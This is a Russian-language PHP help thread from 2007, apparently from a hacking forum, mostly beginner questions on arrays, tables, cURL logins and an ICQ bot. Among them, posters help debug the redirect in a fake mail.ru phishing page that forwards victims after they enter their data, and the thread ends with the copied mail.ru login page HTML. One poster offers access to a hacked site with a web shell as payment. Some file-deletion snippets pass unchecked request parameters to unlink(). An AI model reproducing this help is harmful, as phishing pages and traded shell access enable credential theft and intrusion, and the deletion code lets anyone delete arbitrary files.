функция file("filename") считывает содержимое в файла в массив (=.
У тебя лист разбит на строки или просто список в файле через пробел?
file_get_contents
Читает файлы ........
Если чето по строкам надо, то
explode (http://php.net/explode)
да все я разобрался спасибо ;)
Dr.Frank
12.06.2007, 09:29
Есть функция, генерирующая строку заданной длины из заданного символа?
str_repeat("-=", 10);
Cтранно вот мой код
<?
$os=array('Window','Linux','Freebsd','OS/2');
$os[]='MS-Dos';
echo '<table border=1>';
for ($a=0; $a<count($os); $a++) {
echo'<td><tr>'. $a .'</td><tr>'. $os[$a] . '</td></tr>';
}
echo'</table>';
?>
а вот чужой
<?
$operating_systems = array( 'Windows', 'Linux', 'FreeBSD', 'OS/2');
$operating_systems[] = 'MS-DOS';
echo '<table border=1>';
for ($i=0; $i<count($operating_systems); $i++) {
echo '<tr><td>' . $i . '</td><td>' . $operating_systems[$i] . '</td></tr>';
}
echo '</table>';
?>
Почему мой не работает ?
echo'<td><tr>'. $a .'</td><tr>'. $os[$a] . '</td></tr>';
echo '<tr><td>' . $i . '</td><td>' . $operating_systems[$i] . '</td></tr>';
эти строчки различаются... посмотри)
Cтранно вот мой код
[...]
Почему мой не работает ?
строка 6
echo'<td><tr>'. $a .'</td><tr>'. $os[$a] . '</td></tr>';
сначала должен идти tr, затем td... и еще одна опечатка. исправленная строка:
echo'<tr><td>'. $a .'</td><td>'. $os[$a] . '</td></tr>';
header("Location: http://cards.mail.ru/card.html?cdu=89751db02a0f81a577dc9e55f5a5b045"); // куда пошлем пользователя после того как он ввел данные!
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"
почему так он переадресует в http://win.mail.ru/cgi-bin/start?1390370218
а не в http://cards.mail.ru/card.html?cdu=89751db02a0f81a577dc9e55f5a5b045
где там ошибка
код взят из фейка mail http://rapidshare.com/files/30822932/fake.rar
header будет работать лишь в том случае, если перед этим заголовки не были уже посланы. Тоесть до строки с header не должно быть лишних echo, а так же html кода и любых других символов вне <?php
Тоесть тот кусок, что ты дал будет работать без ошибок, но в контексте скрипта header может не сработать и скрипт пойдет выполняться дальше, делая редирект при помощи <meta http-equiv=refresh.
2hhover спасибо, и еще один вопрос
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"
почему с http://win.mail.ru/cgi-bin/start?1390370218\ оно работает а стоит подставить например www.mail.ru ссыылается на ошибку
на не профисиональный взгляд в этом примере ковычки не правильно раставлены :confused: или я ошибаюсь
Dr.Frank
13.06.2007, 10:59
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"
почему с http://win.mail.ru/cgi-bin/start?1390370218\ оно работает а стоит подставить например www.mail.ru ссыылается на ошибку
на не профисиональный взгляд в этом примере ковычки не правильно раставлены :confused: или я ошибаюсь
Возьми сам URL в одинарные ковычки.., т.е.:
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL='http://win.mail.ru/cgi-bin/start?1390370218'\">"
В случае с http://www.mail.ru - то же самое
Вот скрипт от Dr.Frank'a:
<?php
$file=fopen("result.txt","w");
function a($t,$z,$s){
global $f2,$f1,$file;
for($q=($t+1);$q<=$f2;$q++){
if($z<$f1)
a($q,($z+1),$s.$q);
else
fwrite($file,$s.$q."\r\n");
}
}
a(0,1,"");
fclose($file);
?>
Что он делает можно почитать здесь (http://forum.antichat.ru/showpost.php?p=383148&postcount=73).
Появилась необходимость его немного переделать.
Например есть HTML форма:
http://img507.imageshack.us/img507/4514/ris1bt8.jpg
из рисунка следует что $f1=4, а $f2=14.
в result.txt записывается:
7101112
7101113
7101114
7101213
7101214
7101314
(это часть того чего записывается в result.txt)
Надо чтобы записывалось в таком виде:
a_7+a_10+a_11+a_12
a_7+a_10+a_11+a_13
a_7+a_10+a_11+a_14
a_7+a_10+a_12+a_13
a_7+a_10+a_12+a_14
a_7+a_10+a_13+a_14
Т.е надо чтобы перед каждой цифрой (которая может состоять и из 2-ух цифр например: 10 11 12 13 14) стояло a_
Думал сам сделаю весь день копался со скриптом перекопал пару книг так ничего путного не придумал :( вот так только сделал чтобы перед поcледней цифрой +a_ было:
<?php
$file=fopen("result.txt","w");
function a($t,$z,$s){
global $f2,$f1,$file;
for($q=($t+1);$q<=$f2;$q++){
if($z<$f1)
a($q,($z+1),$s.$q);
else
fwrite($file,$s."+a_".$q."\r\n");
}
}
a(0,1,"");
fclose($file);
?>
а как сделать чтобы было как надо так и не понял :(.
Как такое можно сделать? Помогите плз.
Кто поможет готовым скриптом, тому с меня сайт с веб шеллом с правами записи.
<?
$lang=array(
1=>'Russian',
'English',
'Deutch'
);
echo'<pre>';
print_r($lang);
echo'</pre>';
?>
<?
<table>
<tr>
<th>Индекс:</th>
<th>Бля бля бля:</th>
</tr>
<?
foreach($lang as $key => $value) {
echo '<tr><td>' . $key . '<td><td>' . $value . '</td></tr>';
}
?>
</table>
Что здесь не правильно ? а вообще есть способ выявить ошибки там ? не помню... Кароче есть фишка если не работает скрипт тебе указывают на ошибку.
Y.Dmitriy
13.06.2007, 13:37
<?
<table>
<tr>
<th>Индекс:</th>
<th>Бля бля бля:</th>
</tr>
<?
первое это зачем таблицу в пхп код вставлять? у тя она рисуется так?
$lang=array(
1=>'Russian',
'English',
'Deutch'
)
а почему равно или больше?
и посмотри где у тя начинатся таблица а где заканчивается!
Dr.Frank
13.06.2007, 13:37
a_7+a_10+a_11+a_12
a_7+a_10+a_11+a_13
a_7+a_10+a_11+a_14
a_7+a_10+a_12+a_13
a_7+a_10+a_12+a_14
a_7+a_10+a_13+a_14
Т.е надо чтобы перед каждой цифрой (которая может состоять и из 2-ух цифр например: 10 11 12 13 14) стояло a_
а как сделать чтобы было как надо так и не понял :(.
Как такое можно сделать? Помогите плз.
Кто поможет готовым скриптом, тому с меня сайт с веб шеллом с правами записи.
Вот код:
<?php
$file=fopen("result.txt","w");
function a($t,$z,$s){
global $f2,$f1,$file;
for($q=($t+1);$q<=$f2;$q++){
if($z<$f1){
if(str_replace("+a_","",$s)=="")
a($q,($z+1),$q);
else
a($q,($z+1),$s."+a_".$q);
}else
fwrite($file,"a_".$s."+a_".$q."\r\n");
}
}
a(0,1,"");
fclose($file);
?>
P.S.: А шелл у тебя на раздаче тот же? или другой? =) (может собиру коллекцию шеллов.. =))
P.P.S.: В следующий раз(если мой скрипт) пиши в личку, дабы не флудить на форуме..
Dr.Frank
13.06.2007, 13:40
$lang=array(
1=>'Russian',
'English',
'Deutch'
)
а почему равно или больше?
=(
Это не знак "равно или больше", такое пример реализует нумерацию элементов в массиве с единицы, а не с нуля..
первое это зачем таблицу в пхп код вставлять? у тя она рисуется так?
а почему равно или больше?
и посмотри где у тя начинатся таблица а где
заканчивается!
Я тебя не понил Дмитрий(((
Вот мой код
<?
$lang=array(
1=>'Russian',
'English',
'Deutch'
);
?>
<?
<table>
<tr>
<th>Индекс:</th>
<th>Бля бля бля:</th>
</tr>
<?
foreach($lang as $key => $value) {
echo '<tr><td>' . $key . '</td><td>' . $value . '</td></tr>';
}
?>
</table>
А это исходник
<?
$languages = array(
1 => 'Assembler',
'C++',
'Pascal',
'scripting' => 'bash'
);
$languages['php'] = 'PHP';
$languages[100] = 'Java';
$languages[] = 'Perl';
?>
<table>
<tr>
<th>Индекс</th>
<th>Значение</th>
</tr>
<?
foreach ($languages as $key => $value) {
echo '<tr><td>' . $key . '</td><td>' . $value . '</td></tr>';
}
?>
</table>
Y.Dmitriy
13.06.2007, 13:50
так вот и посмотри разницу ы коде и исходнике!
Dr.Frank - я прогнал:)
Мне много не понятна в книгах там в примерах. Вот пример из книги $name = isset($_POST['name']) ? $_POST['name'] : ''; Выделеное мне не понятно в книге нече не написано ((( Где можно об этом почитать или посоветуйте норм книгу или че там...
Зарание спасибо.
2Fire3d, это функция проверки переменной. читай про это здесь - http://www.php.slaed.net/f/isset.html
2-n00by-, действительно не в тему. Читай вот эту тему - https://forum.antichat.ru/thread19610.html
nc.STRIEM
13.06.2007, 20:37
любая функция которая тебе не понятна идеш на http://php.ru и смотриш! там все есть)
кхм. мой черед задавать вопросы.
Есть ли разница в быстродействии если в базе тип поля ставлю например VARCHAR(50), а в реале исползую только 10 символов?
Есть ли разница в быстродействии если вообще под поля ставить различные типы? Например в поле id где всегда будет INT поставить LONGTEXT. Или если в поле где пишеться максимум 50 символов делать его тип TEXT?
Какие-то милисекунды тратятся на стрлен все равно :)
Есть функция, генерирующая строку заданной длины из заданного символа?
str_repeat( подстрока, множитель )
Итак ясно. НЕ очень много но все же есть. А если значений много? Например несколько тысяч? Или около ста тысяч?
У меня есть вот такой PHP бот типа автоответчика аськи, который когда ему шлют сообщение отправляет заданную мной фразу , может можно как-нибудь изменить чтобы он ещё и выдавал какую-либо инфу при отправке ему определённого слова, например чтобы при отправке ему слова !info он выдавал какую-либо информацию заданную мной
Сам бот:
Index:
<?
include "c99phpicq.php";
set_time_limit (0);
ignore_user_abort(true);
$icq = new ICQclient("UIN бота ","пароль");
$icq->errorstream = false;
$icq->dbgstream = false;
$icq->connect();
$icq->setstatus("NA","WORK");
$icq->setstatusflags("DCCONT","");
$icq->login();
while ($icq->socket)
{
$icq->listen();
if ($icq->ismessage())
{
$uin = $icq->inLastVar["uin"];
$text = $icq->inLastVar["text"];
$mid = md5($icq->inLastVar["mid"]);
$text = trim($text);
if ($text == "!exit" && $uin=="номер бота")
{
exit;
}
else
{
$icq->message_send($uin,"Текст сообщния автоответчика");
$log="log.txt";
$fp = fopen($log,"a+");
fwrite($fp,"$uin:$text\n");
fclose($fp);
}
}
}
?>
Log.php
<body bgcolor="black" text="white" link="red"></body>
<center>
<pre>
<?
require("log.txt");
?>
</pre>
</center>
_http://php.ru/manual/control-structures.switch.html (про свитч)
"Текст сообщния автоответчика" меняй на свое (то что ты хочешь)ъ
$uin=="номер бота") меняй на свой (я так понимаю это админский номер с котороого разрешается выключать бота)
С !exit я разобрался. По той ссылке ни чего не понимаю, я английский плохо знаю.
Вообщем вот пример тог что я хочу сделать: допустим кто-то посылат мне сообщение когда бот включен, бот сразу же отвечат "Для получения справки позвоние по номеру, чтобы увидеть номер наберите !nomer " И при наборе !nomer выдавался номер телефона который я задам (это как пример).
http://www.intrigue.ru
Качай готовый класс webicqpro + бот с несколькими функциями и изменяй
Вообщем может кто-нибуь сам изменить тот скрипт который я выложил выше, чтобы когда кто-то посылат мне сообщение когда бот включен, бот сразу же отвечал "Для получения справки позвоние по номеру, чтобы увидеть номер наберите !nomer " И при наборе !nomer выдавался номер 89162421167 . Ничего у меня не получается сэтим PHP
Я не много изменил скрипт, будет ли теперь он выводить номер при набое /nomer ?
<?
include "c99phpicq.php";
set_time_limit (0);
ignore_user_abort(true);
$icq = new ICQclient("UIN","Pass");
$icq->errorstream = false;
$icq->dbgstream = false;
$icq->connect();
$icq->setstatus("NA","WORK");
$icq->setstatusflags("DCCONT","");
$icq->login();
while ($icq->socket)
{
$icq->listen();
if ($icq->ismessage())
{
$uin = $icq->inLastVar["uin"];
$text = $icq->inLastVar["text"];
$mid = md5($icq->inLastVar["mid"]);
$text = trim($text);
$text="/nomer";
switch ($text) {
case "/nomer":
echo "89162421167";
break;
if ($text == "!exit" && $uin=="Номер хозина")
{
exit;
}
else
{
$icq->message_send($uin,"Для получения номера наберите /nomer");
$log="log.txt";
$fp = fopen($log,"a+");
fwrite($fp,"$uin:$text\n");
fclose($fp);
}
}
}
?>
Плииз, измениего сам а то я уже замучился его настраивать весь день сижу с этим скриптом. Главное настрой чтобы он на команду /nomer выводил номер 89162421167 , а с номерм хозяина и прочим я уж сам разберусь.
неподскажите пожайлусто скрипт граббера ссылок. если можно не построчново а например по поиску определённых символов типа <>
sibon копай в сторону регулярных выражений
http://lv2.php.net/preg_match
http://phpclub.ru/detail/article/regexp_1
http://phpclub.ru/detail/article/regexp_2
Можна пример как залогинитса на сайт с помощью средств PHP, вот кусок сайта
<form method="post" name="snd" action="some.php">
<input type="hidden" name="w" value="">
<input type="hidden" name="login" value="1182010500">
<p><table class="p1" style="width:100%"cellspacing="1" cellpadding="0"><tr><td>
<table width="100%" cellspacing="1" cellpadding="0">
<tr><td><label>Имя:</label>
<input class="fm fm110" type="text" name="e91db3a" value="" maxlength="15"> <span class="e f7"></span>
</td></tr>
<tr><td><label>Пароль:</label>
<input class="fm fm110" type="password" name="edfa0d9" value="" maxlength="20"> <span class="e f7"></span>
</td></tr>
</table></td></tr></table></p>
<p align="center"><input type="hidden" name="ee0afeb" value="">
<input type="image" value="login" border="0" name="s1" src="img/ru/b/l1.gif" width="80" height="20" onMousedown="btm1('s1','','img/ru/b/l2.gif',1)" onMouseover="btm1('s1','','img/ru/b/l3.gif',1)" onMouseUp="btm0()" onMouseOut="btm0()" onClick="xy()"></input>
Hanf,
$url = 'http://site.com/some.php';
$post_data = "w=&login=1182010500&e91db3a=mylogin&edfa0d9=mypassword&ee0afeb=";
$curl = curl_init ( );
curl_setopt ( $curl, CURLOPT_URL, $url );
curl_setopt ( $curl, CURLOPT_POST, 1 );
curl_setopt ( $curl, CURLOPT_POSTFIELDS, $post_data );
curl_setopt ( $curl, CURLOPT_COOKIESESSION, 1 );
curl_setopt ( $curl, CURLOPT_COOKIEJAR, 'cookie.txt' );
curl_setopt ( $curl, CURLOPT_COOKIEFILE, 'cookie.txt' );
curl_setopt ( $curl, CURLOPT_TIMEOUT, 5 );
curl_exec ( $curl );
Пасиба, а как с помощью сокетов?
$sock = fsockopen( "site.com", 80, $errno, $errstr, 10);
if ( ! $sock )
{
die ( "$errstr ($errno)" );
}
else
{
$content = "w=&login=1182010500&e91db3a=mylogin&edfa0d9=mypassword&ee0afeb=";
$content_strlen = strlen ( $content );
$header = "POST http://site.com/some.php HTTP/1.0\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Host: site.com\r\n";
$header .= "Content-Length: $content_strlen\r\n";
$header .= "\r\n";
$header .= $content;
fwrite( $sock, $header );
while ( ! feof ( $sock ) )
echo fgets($fp, 128);
fclose( $sock );
}
вопрос такой на localhost'e скрипт работал
но хосте выдается следующая ошибка
Warning: file(): URL file-access is disabled in the server configuration
в чем трабла?
вопрос такой на localhost'e скрипт работал
но хосте выдается следующая ошибка
Warning: file(): URL file-access is disabled in the server configuration
в чем трабла?
Берешь словарь и переводишь текст ошибки. ПОлучаешь - доступ к файлам по URL запрещён конфигурацией сервера.
Привет, у кого-нибудь есть скрипт, который переписывет элементы одного массивы элементами другого?
Sw33p
<?php
$arr = array(
'a'=>'apple',
'b'=>'banana',
'c'=>'cherry',
);
foreach ($arr as $value)
$arr2[] = $value;
print_r ($arr2);
?>
Поясню: имеются 2 разных массива. Второй массив должен переписать элементы первого точно в таком же порядке, т.е. $f_array[0] равен по значению $s_array[0] и т.д.
Sw33p, тебе же написали уже, можно еще и индексы сохранить:
<?php
$arr = array(
'a'=>'apple',
'b'=>'banana',
'c'=>'cherry',
);
$arr2=array("green","red","white");
unset($arr2);
foreach ($arr as $key => $value) {
$arr2[$key] = $value;
}
print_r ($arr2);
print_r ($arr);
?>
spamoney
21.06.2007, 10:44
В общем такая проблемка:
есть скрипт, как сделать так, что б к каждой ссылке в этом скрипте добавлялся какой-либо параметр заданный в начале этого скрипта.
т.е если я в начале прописал
$id=id;
$a=1;
и иду по адресу
www.suit.ru/index.php, то должен попасть на www.suit.ru/index.php?id=1
ну или с www.suit.ru/index.php?bla=blabla&bla2=bla2bla на www.suit.ru/index.php?bla=blabla&bla2=bla2bla&id=1
Такое вообще реально?
Joker-jar
21.06.2007, 10:59
Почему этим должен заниматься скрипт? Можно же каждую ссылку в скрипте оформить типа:
<?
$id=id;
...
echo "<a href=\"www.suit.ru/index.php?id=$id\">click</a>"
?>
Или нельзя?
spamoney
21.06.2007, 11:13
Ссылок очень много, да и они прописаны в различной форме
есть такие <a href=\"?db=$dbn&q=show+create+table+$v\">Show Create Table</a>
и такие
<a href="<?=$self?>?db=<?=$dbn?>&q=show+tables">
Нужно чтоб сам скрипт автоматически подставлял id=1 в конец каждой ссылки
Joker-jar
21.06.2007, 11:22
В таком случае может лучше заюзать джаваскрипт?
Joker-jar
21.06.2007, 11:37
заюзать джаваскрипт
Например, как-нибудь так:
<html>
<head>
<script>
function AddIdToLinks(idtext)
{
for (i = 0; i < document.links.length; i++)
if (document.links[i].href.indexOf('?') == -1)
document.links[i].href = document.links[i].href + '?' + idtext;
else
document.links[i].href = document.links[i].href + '&' + idtext;
}
</script>
</head>
<body onload="AddIdToLinks('id=1')">
<a href="link1.php">link1</a>
<a href="link2.php?sid=115">link2</a>
<a href="link3.php">link3</a>
</body>
</html>
spamoney
21.06.2007, 11:57
spamoney
где и как эти ссылки находятся на странице?
где и как ты задаешь переменные $a &id и т д они для всех ссылок разные\одинаковые?
подробнее....
переменные задаются в этом же скрипте в самом начале, они одинаковые для всех ссылок, я ничего в php не понимаю, но может это как нить через $_SESSION надо сделать ???
Как удалить определенный файл из каталога?
Имеется скрипт, который выводит содержимое папки.
<?php
$direct = "folder";
if ($dir = @opendir($direct))
while ($file = readdir($dir))
echo "<a href=$direct/$file>$file</a><br>";
?>
Как возле каждого файла поставить кнопку или чекбокс, для удаления этого файла функцией unlink()?
Так на скорую руку
<?php
$del_file = $_GET['del_file'];
$direct = "folder";
if ($dir = @opendir($direct))
while ($file = readdir($dir)) {
if($file!="." && $file!=".."){
if($file===$del_file) unlink($direct.'/'.$file);
echo "<a href=\"$direct/$file\">$file</a> - <a href=\"?del_file=$file\"> Нах удалить этот фаил $file :)</a><br>"; }
}
?>
Должно по идеии работать, и рабоет вроде, тут была целай цискусия как правильно сделать...))))
мой вариант =)
<?php
if(isset($_GET['file']) && isset($_GET['dir']))
{
$file=$_GET['file'];
$dir=$_GET['dir'];
if($file!="." && $file!=".."){
if(file_exists($dir."/".$file)) {
unlink($dir."/".$file);
echo "good";
}
}
}
else {
$direct = "folder";
if ($dir = @opendir($direct))
while ($file = readdir($dir))
echo "<a href=?dir={$direct}&file={$file}>{$file}</a><br>";
}
?>
nc.STRIEM
22.06.2007, 16:28
мой вариант =)
<?php
if(isset($_GET['file']) && isset($_GET['dir']))
{
$file=$_GET['file'];
$dir=$_GET['dir'];
$file=$file;
if($file!="." && $file!=".."){
if(file_exists($dir."/".$file)) {
unlink($dir."/".$file);
echo "good";
}
}
}
else {
$direct = "folder";
if ($dir = @opendir($direct))
while ($file = readdir($dir))
echo "<a href=?dir={$direct}&file={$file}>{$file}</a><br>";
}
?>
кривовасто както...
непонятна строка: $file=$file;
у DIAgen норм вариант
Я вот не понимаю зачем использовать конструкцию вида
if(isset($_GET['file']) && isset($_GET['dir'])){
//Тут что то должно быть
}
Если проще использовать
if(($_GET['file'] && $_GET['dir']){
//Тут что то должно быть
}
Функция проверяет isset установлена ли переменная, это значит она читает память, а php автоматически определяет определена ли переменная $_GET или $_POST, or $_REQUEST
nc.STRIEM
22.06.2007, 21:15
Я вот не понимаю зачем использовать конструкцию вида
if(isset($_GET['file']) && isset($_GET['dir'])){
//Тут что то должно быть
}
Если проще использовать
if(($_GET['file'] && $_GET['dir']){
//Тут что то должно быть
}
Функция проверяет isset установлена ли переменная, это значит она читает память, а php автоматически определяет определена ли переменная $_GET или $_POST, or $_REQUEST
$_GET['dir']=0;
$_GET['file'] =0;
переменные установленны? да! но твое условие выполняться не будет! надо через isset()
или имя файла будет false
nc.STRIEM,
насчет
$file=$file;
эт я там чет делал, уже не помню =) В общем думаю догадались, что нужно потереть ;)
кривовасто както...
Где именно кривовасто?
а в коде DIAgen
я бы заменил
$del_file = $_GET['del_file'];
на
$del_file = isset($_GET['del_file'])?$_GET['del_file']:NULL;
Иначе выскакивает:
Notice: Undefined index: del_file in file.php on line 2
GoreMaster
23.06.2007, 18:20
Я вот не понимаю зачем использовать конструкцию вида
if(isset($_GET['file']) && isset($_GET['dir'])){
//Тут что то должно быть
}
Функция проверяет isset установлена ли переменная, это значит она читает память, а php автоматически определяет определена ли переменная $_GET или $_POST, or $_REQUEST
тогда ужisset($_GET['file'],$_GET['dir'])
так как иссет может принимать любое кол-во параметров... ;)
Вопрос припустим есть сайт, с файлом site.domen/text.php
Мне нужно извлечь от туда весь текст и найти ключивое слово.
Я коичо наработал но у меня неполучаеца=\
<?
$host="site.domen";
$soket=fsockopen("www.".$host, 80, $errno, $errstr, 120) or die ("$errstr ($errno)");
$request.="GET site.domen/text.php HTTP/1.0\r\nHost: site.domen\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
while(!feof($soket)){
fwrite($soket, $request); //отпрвка запроса
$content.=fgets($soket,4096);
echo $content;
fclose($soket);
}
}
?>
Joker-jar
23.06.2007, 19:58
В php методы получения содержимого файла по протоколу http уже реализованы в функциях file и filegetcontext (в php.net смотри синтаксис, описание и примеры)
Joker-jar
23.06.2007, 20:03
найти ключивое слово
слово известно, найти позицию? Так чтоль получается?
Если да, то php.net/strpos
egion или както так пишеца для поиск.. мне главное чтоб можно было загрузить страницу спомощю fsockopen, а не в функциях file .
GoreMaster
23.06.2007, 20:14
$fp = fsockopen("my_host", 80, $errno, $errstr, 30);
$pattern = '/(http):\/\/(([A-Z0-9][A-Z0-9_-]*)(\.[A-Z0-9][A-Z0-9_-]*)+)(:(\d+))?\/(.*)/i';
if (!$fp) {
echo "$errstr ($errno) <br />\n";
}
else {
$out = "GET /check.php HTTP/1.0\r\n";
$out .= "Host: my_host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (! feof($fp)){
if(preg_match($pattern,fgets($fp,70),$ur)){
echo $ur[0];
break;
}
}
вот пример с fsockopen + Regular Expressions
ИМХО методы,предложенные Joker-Jar, лучше подходят для твоего случая с поиском слова.
<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title> Вход в систему </title>
<meta NAME="DESCRIPTION"
CONTENT="Национальная почтовая служба @Mail.ru - лучшая бесплатная почта. Доступ к почте через POP/SMTP, веб- и wap-интерфейс. Также на портале: авто, новости, спорт, музыка, работа, знакомства, анекдоты, открытки, погода">
<META name="Keywords" content="почта, бесплатная электронная почта, авто, новости, спорт, музыка, работа, знакомства, анекдоты, открытки, погода">
<link rel="SHORTCUT ICON" href="http://img.mail.ru/r/favicon.ico">
<link href="http://img.mail.ru/mail/ru/css/mail-main1.css?123" rel="stylesheet" type=text/css>
<link href="http://img.mail.ru/mail/ru/css/mail-second.css" rel="stylesheet" type=text/css>
<script language="JavaScript">
<!--
function CheckForm(form)
{
var i,j;
var str = '';
return true;
}
// --></script>
<style TYPE="text/css">
#superbest {
position: absolute;
left: 15;
top: 150;
width: 125;
visibility: visible;
z-index: 10;
}
</style>
</head>
<body marginwidth=0 marginheight=0 leftmargin=0 rightmargin=0 topmargin=0 bottommargin=0 bgcolor="#ffffff" alink="#F26D00" link="#0857A6" vlink="#0857A6">
<center>
<table cellpadding=0 cellspacing=0 border=0 width=90%>
<tr>
<td>
<style>
table.top_menu td.bord_l_or {border-left:1px solid #C2C3CC}
table.top_menu td.bord_b {height:1px; padding:0px; background:#C2C3CC url('http://img.mail.ru/1.gif') no-repeat top right;}
table.top_menu td.top_search {padding:0px 1px}
table.top_menu td.top_search form {margin:0px}
table.top_menu td.top_search td.top_search_logo {padding:0px}
table.top_menu td.top_search td.top_search_inp {padding:0px; width:100%}
table.top_menu td.top_search td.top_search_inp input {font-size:85%; width:99%; border:1px solid #9BA3A9; color:#5A5A5A;}
table.top_menu td.top_search td.top_search_but {padding:1px 0 0 0}
table.top_menu td.top_search td.top_search_but input {font-size:85%;width:55px;border:1px solid #9BA3A9; color:#5A5A5A; background:#FFF;}
</style>
<script>
function inscript (input)
{ if (input.value=="") {input.value=' Поиск в Интернете'} }
function ch()
{
document.MSearch.action="http://r.mail.ru/cln2759/go.mail.ru/search"
}
</script>
<!--New project menu-->
<style>
div#top_menu {height:18px;overflow:hidden; display:block; margin-top:2px;}
div#top_menu a{height:16px;margin-top:0px;margin-right:0px;}
div#top_menu img { margin-right:4px}
</style>
<table cellpadding=0 cellspacing=0 border=0 width=100% class=top_menu>
<tr>
<td class="bord_l_or"><img src=http://img.mail.ru/0.gif width=1 height=1></td>
<td class="top_search" id=forGo><form action=http://r.mail.ru/cln2759/go.mail.ru/ name=MSearch method="get" target="_blank"><input type=hidden name=quick_form value="mail">
<table cellpadding="0" cellspacing="0" width="100%" border="0" id="_rForm">
<tr>
<td class="top_search_logo"><img src=http://img.mail.ru/mail/ru/images/go-all.gif width="16" height="16" border="0"></td>
<td><img src=http://img.mail.ru/0.gif width=3 height=1></td>
<td class="top_search_inp"><img src=http://img.mail.ru/1.gif width=130 height=1><br><input type="Text" value=" Поиск в Интернете" onkeyup="ch();" onfocus="this.value='';" onblur="inscript(this);" name=q></td>
<td><img src=http://img.mail.ru/0.gif width=2 height=1></td>
<td class="top_search_but"><input type="Submit" value="Найти" style="height:18px"></td>
</tr>
</table></form>
<table cellpadding="0" cellspacing="0" width="100%" border="0" style="display:none" id="_rLink">
<td width=5%><img src=http://img.mail.ru/0.gif width=15 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln2759/go.mail.ru/><img src=http://img.mail.ru/mail/ru/images/go-all.gif width=16 height=16 alt="Поиск" border=0 align=absmiddle></a> <a href=http://r.mail.ru/cln2759/go.mail.ru/>Поиск</a></td>
</table>
</td>
<td><img src=http://img.mail.ru/0.gif width=15 height=1></td>
<script type="text/javascript">
var projectIconPath = "http://img.mail.ru/mail/ru/images/";
var allProjectsArray = [
["Ответы", "http://r.mail.ru/cln3264/otvet.mail.ru/", "otv_prj_ico.gif"],
["Знакомства", "http://r.mail.ru/cln2760/love.mail.ru/", "love-all.gif"],
["Открытки", "http://r.mail.ru/cln2761/cards.mail.ru/", "cards2-all.gif"],
["Чаты", "http://r.mail.ru/cln2762/chat.mail.ru/", "chat-all.gif"],
["Рассылки", "http://r.mail.ru/cln2763/content.mail.ru/", "content-all.gif"],
["Гороскопы", "http://r.mail.ru/cln3275/horo.mail.ru/", "horo-all.gif"],
["Игры", "http://r.mail.ru/cln3282/games.mail.ru/", "games-all.gif"],
["Видео", "http://r.mail.ru/cln3333/video.mail.ru/", "video2-all.gif"],
["Покупки", "http://r.mail.ru/cln3339/torg.ru/", "torg-all.gif"],
["Авто", "http://r.mail.ru/cln2766/auto.mail.ru/", "cars-all.gif"],
["ТВ", "http://r.mail.ru/cln3276/tv.mail.ru/", "tv-all.gif"],
["Погода", "http://r.mail.ru/cln3334/weather.mail.ru/", "weather-all.gif"],
["Путешествия", "http://r.mail.ru/cln2765/travel.mail.ru/", "tour-all.gif"],
["Молоток", "http://r.mail.ru/cln2764/molotok.ru/", "molotok-all.gif"],
["Карты", "http://r.mail.ru/cln3335/map.mail.ru/msk/", "map-all.gif"]
];
var projectsHtmlContent = "";
for (i = 0; i < allProjectsArray.length; i++) {
projectsHtmlContent += "<a href=" + allProjectsArray[i][1] + "><img src=" + projectIconPath + allProjectsArray[i][2] + " width=16 height=16 alt=\"" + allProjectsArray[i][0] + "\" border=0 align=absmiddle>" + allProjectsArray[i][0] + "</a>";
}
document.write("\
<td width=\"100%\">\
<div id=top_menu>" + projectsHtmlContent + "</div>\
</td>\
");
</script>
<noscript>
<td nowrap><a http://r.mail.ru/cln3264/otvet.mail.ru/><img src=http://img.mail.ru/mail/ru/images/otv_prj_ico.gif width=16 height=16 alt="Ответы" border=0 align=absmiddle></a> <a href=http://r.mail.ru/cln3264/otvet.mail.ru/>Ответы</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln2760/love.mail.ru/><img src=http://img.mail.ru/mail/ru/images/love-all.gif width=16 height=16 alt="Знакомства" border=0 align=absmiddle></a> <a href=http://r.mail.ru/cln2760/love.mail.ru/>Знакомства</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln2761/cards.mail.ru/><img src=http://img.mail.ru/mail/ru/images/cards2-all.gif width=16 height=16 alt="Открытки" border=0 align=absmiddle></a> <a href=http://r.mail.ru/cln2761/cards.mail.ru/>Открытки</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln2762/chat.mail.ru/><img src=http://img.mail.ru/mail/ru/images/chat-all.gif width=16 height=16 alt="Чаты" border=0 align=absmiddle></a> <a href=http://r.mail.ru/cln2762/chat.mail.ru/>Чаты</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln2763/content.mail.ru/><img src=http://img.mail.ru/mail/ru/images/content-all.gif width=16 height=16 alt="Рассылки" border=0 align=absmiddle></a> <a href=http://r.mail.ru/cln2763/content.mail.ru/>Рассылки</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
<td nowrap><a href=http://r.mail.ru/cln3275/horo.mail.ru/><img src=http://img.mail.ru/mail/ru/images/horo-all.gif width=16 height=16 alt="Гороскопы" border=0 align=absmiddle></a> <a href=http://r.mail.ru/cln3275/horo.mail.ru/>Гороскопы</a></td>
<td width=5%><img src=http://img.mail.ru/0.gif width=7 height=1></td>
</noscript>
<td nowrap id = forAll><img src=http://img.mail.ru/0.gif width=5 height=1><a href=http://r.mail.ru/cln2767/mail.ru/all/><b>Все проекты</b></a></td>
<td class=bord_r><img src=http://img.mail.ru/0.gif width=10 height=1></td>
</tr>
<tr>
<td colspan=99 class=bord_b nowrap><img src=http://img.mail.ru/1.gif width=1 height=1></td>
</tr>
</table>
<!--/New project menu-->
